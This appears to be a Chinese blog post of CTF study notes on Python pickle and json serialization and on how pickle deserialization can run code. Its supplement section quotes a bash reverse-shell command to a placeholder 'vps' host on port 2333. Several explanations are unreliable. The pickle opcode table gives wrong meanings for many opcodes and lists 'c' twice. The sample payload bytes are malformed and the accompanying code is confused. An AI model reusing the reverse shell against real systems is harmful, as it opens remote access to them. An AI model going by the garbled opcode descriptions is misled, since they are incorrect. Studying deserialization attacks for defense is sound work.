Bootstrap

python反序列化

前言:最近打比赛遇到了就简单记录学习一下

一、概念

什么是序列化?

  序列化是将 Python 对象转换为一种可以存储或传输的格式的过程。常见的序列化格式包括 JSON、XML、protobuf 以及 Python 自带的 pickle 模块。

什么是反序列化?

  反序列化是将序列化的数据转换回 Python 对象的过程。这使得我们可以从文件、网络或其他存储介质中恢复对象的状态。

Python 中的序列化和反序列化

1. 使用 pickle 模块

pickle 是 Python 内置的序列化和反序列化模块,它可以处理复杂的 Python 对象,包括类实例、列表、字典等。

序列化

import pickle

# 创建一个 Python 对象

data = {'name': 'Alice', 'age': 30}

# 将对象序列化为字节流

with open('data.pickle', 'wb') as f:

         pickle.dump(data, f)

 反序列化

import pickle

# 从字节流中反序列化对象

with open('data.pickle', 'rb') as f:

         loaded_data = pickle.load(f)

print(loaded_data)

# 输出:{'name': 'Alice', 'age': 30}

2. 使用 json 模块

json 模块用于处理 JSON 格式的数据,它也是 Python 中常用的序列化和反序列化工具。

序列化

 import json

# 创建一个 Python 对象

data = {'name': 'Alice', 'age': 30}

# 将对象序列化为 JSON 字符串

json_string = json.dumps(data)

# 将 JSON 字符串写入文件

with open('data.json', 'w') as f:

         json.dump(data, f)

 反序列化

import json

# 从 JSON 字符串中反序列化对象

json_string = '{"name": "Alice", "age": 30}'

loaded_data = json.loads(json_string)

# 从文件中读取 JSON 字符串并反序列化为对象

with open('data.json', 'r') as f:

        loaded_data = json.load(f)

print(loaded_data)

# 输出:{'name': 'Alice', 'age': 30}

 总结:

安全性考虑

pickle 模块的安全性问题

pickle 模块虽然功能强大,但存在一定的安全隐患。反序列化不受信任的数据可能导致安全问题,因为 pickle 可以执行任意代码。因此,在处理不受信任的数据时,应尽量避免使用 pickle

更安全的选择

对于需要在网络上传输或存储的数据,建议使用更安全的序列化格式,如 JSON 或 XML。这些格式虽然不如 pickle 强大,但在安全性和跨平台兼容性方面更有优势。

总结

  • 序列化:将 Python 对象转换为可以存储或传输的格式。
  • 反序列化:将序列化的数据转换回 Python 对象。
  • pickle 模块:支持复杂的 Python 对象,但存在安全风险。
  • json 模块:支持 JSON 格式,更安全,适用于大多数应用场景。
  • 安全性:处理不受信任的数据时,应避免使用 pickle

注意:

pickle 和 json 模块中的序列化和反序列化函数

1. pickle 模块
  • pickle.dumps(obj)

    • 功能:将 Python 对象序列化为一个字节序列。
    • 参数obj 是要序列化的 Python 对象。
    • 返回值:返回一个字节序列(bytes 类型),表示序列化后的对象。
  • pickle.dump(obj, fp)

    • 功能:将 Python 对象序列化并写入到一个文件对象 fp 中。
    • 参数obj 是要序列化的 Python 对象,fp 是一个打开的文件对象。
    • 用途:用于将对象直接写入到文件中。
2. json 模块
  • json.dumps(obj)

    • 功能:将 Python 对象序列化为一个 JSON 格式的字符串。
    • 参数obj 是要序列化的 Python 对象。
    • 返回值:返回一个字符串,表示序列化后的对象。
  • json.dump(obj, fp)

    • 功能:将 Python 对象序列化为 JSON 格式,并写入到一个文件对象 fp 中。
    • 参数obj 是要序列化的 Python 对象,fp 是一个打开的文件对象。
    • 用途:用于将对象直接写入到文件中。

pickle模块序列化格式

pickle反序列化初探 - 先知社区 (aliyun.com)

pickle 序列化格式由一系列标记组成,每个标记代表一种操作或数据类型。下面是一些常见的标记及其含义:

  1. c 标记

    • 含义:表示全局对象(Global Object)。
    • 格式c<module_name>\n<object_name>\n
    • 示例
      1c__builtin__
      2sys
      3T
      这表示从 __builtin__ 模块中引用 sys 对象。
  2. S 标记

    • 含义:表示字符串对象(String Object)。
    • 格式S'your_string'\n.
    • 示例
      1S'hello world'
      2p0
      这表示一个字符串对象 'hello world'
  3. p 标记

    • 含义:表示持久 ID(Persistent ID)。
    • 格式p<id>\n
    • 示例
      1p0
      这表示持久 ID 为 0 的对象。
  4. t 标记

    • 含义:表示字符串结束(Terminate String)。
    • 格式t.
    • 示例
      1t
      这表示字符串结束。
  5. R 标记

    • 含义:表示返回值(Return Value)。
    • 格式R.
    • 示例
      1R
      这表示返回值。
  6. F 标记

    • 含义:表示文件对象(File Object)。
    • 格式F.
    • 示例
      1F
      这表示文件对象。
  7. d 标记

    • 含义:表示字典对象(Dictionary Object)。
    • 格式((表示开始一个新的对象)。
    • 示例
      1(
      这表示开始一个新的对象。
  8. . 标记

    • 含义:表示元组结束(End of Tuple)。
    • 格式.
    • 示例
      1.
      这表示元组的结束。
  9. ( 标记

    • 含义:表示元组开始(Start of Tuple)。
    • 格式(
    • 示例
      1(
      这表示元组的开始。
  10. N 标记

    • 含义:表示 None 对象。
    • 格式N.
    • 示例
      1N
      这表示 None 对象。
  11. b 标记

    • 含义:表示布尔值对象。
    • 格式I(表示整数对象),然后是布尔值的整数值(0 或 1)。
    • 示例
      1I0
      2b
      这表示布尔值 False
  12. I 标记

    • 含义:表示整数对象。
    • 格式I<integer_value>\n
    • 示例
      1I42\n
      这表示整数 42
  13. L 标记

    • 含义:表示长整数对象。
    • 格式L<long_integer_value>\n
    • 示例
      1L9223372036854775807\n
      这表示长整数 9223372036854775807
  14. G 标记

    • 含义:表示浮点数对象。
    • 格式G<float_value>\n
    • 示例
      1G3.141592653589793\n
      这表示浮点数 3.141592653589793
  15. c 标记

    • 含义:表示复杂数对象。
    • 格式c<real_part> <imaginary_part>\n
    • 示例
      1c3.0 4.0\n
      这表示复数 3.0 + 4.0j
  16. S 标记

    • 含义:表示字符串对象。
    • 格式S'string_value'\n
    • 示例
      1S'hello world'
      2p0
      这表示字符串 'hello world'
序列化示例

假设我们要序列化一个简单的字符串对象和一个全局对象 os.system,并传递一个命令字符串给它执行。

序列化代码示例

1import pickle
2
3# 构建一个恶意的序列化对象
4payload = (
5    b"c__builtin__\n"
6    b"globals\n"
7    b"(\n"
8    b"c_os\n"
9    b"system\n"
10    b"T\n"
11    b"S'ls -l'\n"
12    b"t\n"
13    b"."
14)
15
16# 序列化对象并输出
17print(pickle.dumps(payload))
反序列化格式

反序列化的过程是根据 pickle 序列化格式中的标记逐步重建 Python 对象。下面是一个反序列化的示例。

反序列化代码示例

1import pickle
2
3# 序列化后的字节串
4serialized_data = (
5    b"c__builtin__\n"
6    b"globals\n"
7    b"(\n"
8    b"c_os\n"
9    b"system\n"
10    b"T\n"
11    b"S'ls -l'\n"
12    b"t\n"
13    b"."
14)
15
16# 反序列化对象
17try:
18    deserialized_object = pickle.loads(serialized_data)
19    print(deserialized_object)
20except Exception as e:
21    print(f"Error during deserialization: {e}")
解释
  1. 全局对象

    • c__builtin__\n:表示 __builtin__ 模块。
    • globals\n:表示 globals() 函数。
    • (\n:表示开始一个新的对象。
  2. 全局对象

    • c_os\n:表示 os 模块。
    • system\n:表示 os.system 函数。
    • T\n:表示对象的结束。
  3. 字符串对象

    • S'ls -l'\n:表示一个字符串对象,其中包含一个命令字符串。
    • t\n:表示字符串结束。
  4. 元组结束

    • .\n:表示元组的结束。

python中的文件操作模式 

在 Python 中,当我们使用 open 函数打开文件时,可以指定不同的模式来控制文件的读写操作。这些模式通常以一个或多个字符的形式出现在 open 函数的第二个参数中。以下是常见的文件操作模式及其含义:

文件操作模式

  1. r (Read)

    • 说明:以只读方式打开文件。如果文件不存在,则会引发 FileNotFoundError
    • 示例
      1with open('example.txt', 'r') as f:
      2    content = f.read()
  2. w (Write)

    • 说明:以写入方式打开文件。如果文件已存在,其内容将被清空;如果文件不存在,则会创建新文件。
    • 示例
      1with open('example.txt', 'w') as f:
      2    f.write('Hello, world!')
  3. a (Append)

    • 说明:以追加方式打开文件。如果文件已存在,将在文件末尾追加内容;如果文件不存在,则会创建新文件。
    • 示例
      1with open('example.txt', 'a') as f:
      2    f.write('\nNew line added.')
  4. b (Binary)

    • 说明:以二进制模式打开文件。通常用于读写非文本文件,如图片或音频文件。
    • 示例
      1with open('example.bin', 'rb') as f:
      2    data = f.read()
  5. + (Update)

    • 说明:同时打开文件进行读写操作。通常与上述模式结合使用。
    • 示例
      1with open('example.txt', 'r+') as f:
      2    f.write('Updated text.')  # 先写入,再读取
      3    f.seek(0)               # 移动文件指针到文件开头
      4    content = f.read()
  6. x (Exclusive creation)

    • 说明:以独占方式创建新文件。如果文件已存在,则会引发 FileExistsError
    • 示例
      1with open('newfile.txt', 'x') as f:
      2    f.write('This is a new file.')
  7. t (Text)

    • 说明:以文本模式打开文件,默认模式。通常用于文本文件。
    • 示例
      1with open('example.txt', 'wt') as f:
      2    f.write('Text mode example.')

组合模式

  • rt:默认模式,表示以文本模式读取文件。
  • wt:以文本模式写入文件。
  • at:以文本模式追加文件。
  • rb:以二进制模式读取文件。
  • wb:以二进制模式写入文件。
  • ab:以二进制模式追加文件。
  • r+b:以二进制模式读写文件。
  • w+b:以二进制模式写入并读取文件。
  • a+b:以二进制模式追加并读取文件。

示例

以文本模式读取文件
1with open('example.txt', 'r') as f:
2    content = f.read()
3    print(content)
以文本模式写入文件
1with open('example.txt', 'w') as f:
2    f.write('Hello, world!')
以二进制模式读取文件
1with open('example.bin', 'rb') as f:
2    data = f.read()
以二进制模式写入文件
1with open('example.bin', 'wb') as f:
2    f.write(b'Binary data')

总结

  • r:只读模式。
  • w:写入模式,会清空原有内容。
  • a:追加模式。
  • b:二进制模式。
  • +:读写模式。
  • x:独占创建模式。
  • t:文本模式(默认)。
补充:

反序列化列化过程

  1. 加载序列化内容

    • pickle.loads(serialized_data) 会逐字节解析这个序列化的内容。
  2. 解析字典

    • 解析出字典 { 'user': None, 'username': None }
  3. 解析元组

    • 解析出元组 (os.system, 'bash -c "bash -i >& /dev/tcp/vps/2333 0>&1"')
  4. 执行命令

    • 当解析到元组时,pickle 会尝试调用元组的第一个元素,并将元组的其余元素作为参数传递给该函数。
元组的安全性
  • 函数调用:如果元组的第一个元素是一个函数对象,并且该函数执行了某些危险的操作(如 os.system),那么反序列化时可能会导致安全风险。
  • 类的实例化:如果元组的第一个元素是一个类对象,并且该类的构造函数执行了某些危险的操作,同样可能会导致安全风险。
字典的安全性
  • 键值对:如果字典中的键值对包含了危险的操作(如调用某些不受信任的函数或方法),那么反序列化时可能会导致安全风险。
  • 对象的状态:如果字典用来表示某个对象的状态,并且该对象的方法或属性执行了某些危险的操作,那么反序列化时可能会导致安全风险。
例子:

元组

import os
import pickle

class DangerousClass:
    def __init__(self, filename, content):
        with open(filename, 'w') as f:
            f.write(content)
        print(f"Wrote '{content}' to '{filename}'")

# 创建一个元组,表示实例化 `DangerousClass`
data = (DangerousClass, ('test.txt', 'This is a test message'))

# 序列化
serialized_data = pickle.dumps(data)

# 反序列化
deserialized_data = pickle.loads(serialized_data)

# 实例化对象
cls, args = deserialized_data
obj = cls(*args)

//解包元组

//cls 是元组的第一个元素,也就是类对象 DangerousClass。
//args 是元组的第二个元素,也就是构造函数所需的参数元组 ('test.txt', 'This is a test //message')。

//实例化对象
//cls 是前面解包得到的类对象 DangerousClass。
//*args 是将参数元组解包为单独的参数。这里 *args 会将元组 ('test.txt', 'This is a test //message') 解包成两个独立的参数 'test.txt' 和 'This is a test message'。

 字典:

import os
import pickle

# 序列化一个包含函数调用的字典
data = {
    'name': 'Alice',
    'action': (os.system, ('echo Hello, world!',))
}

# 序列化
serialized_data = pickle.dumps(data)

# 反序列化
deserialized_data = pickle.loads(serialized_data)

# 执行函数调用
action = deserialized_data.get('action')
if action:
    func, args = action
    func(*args)

;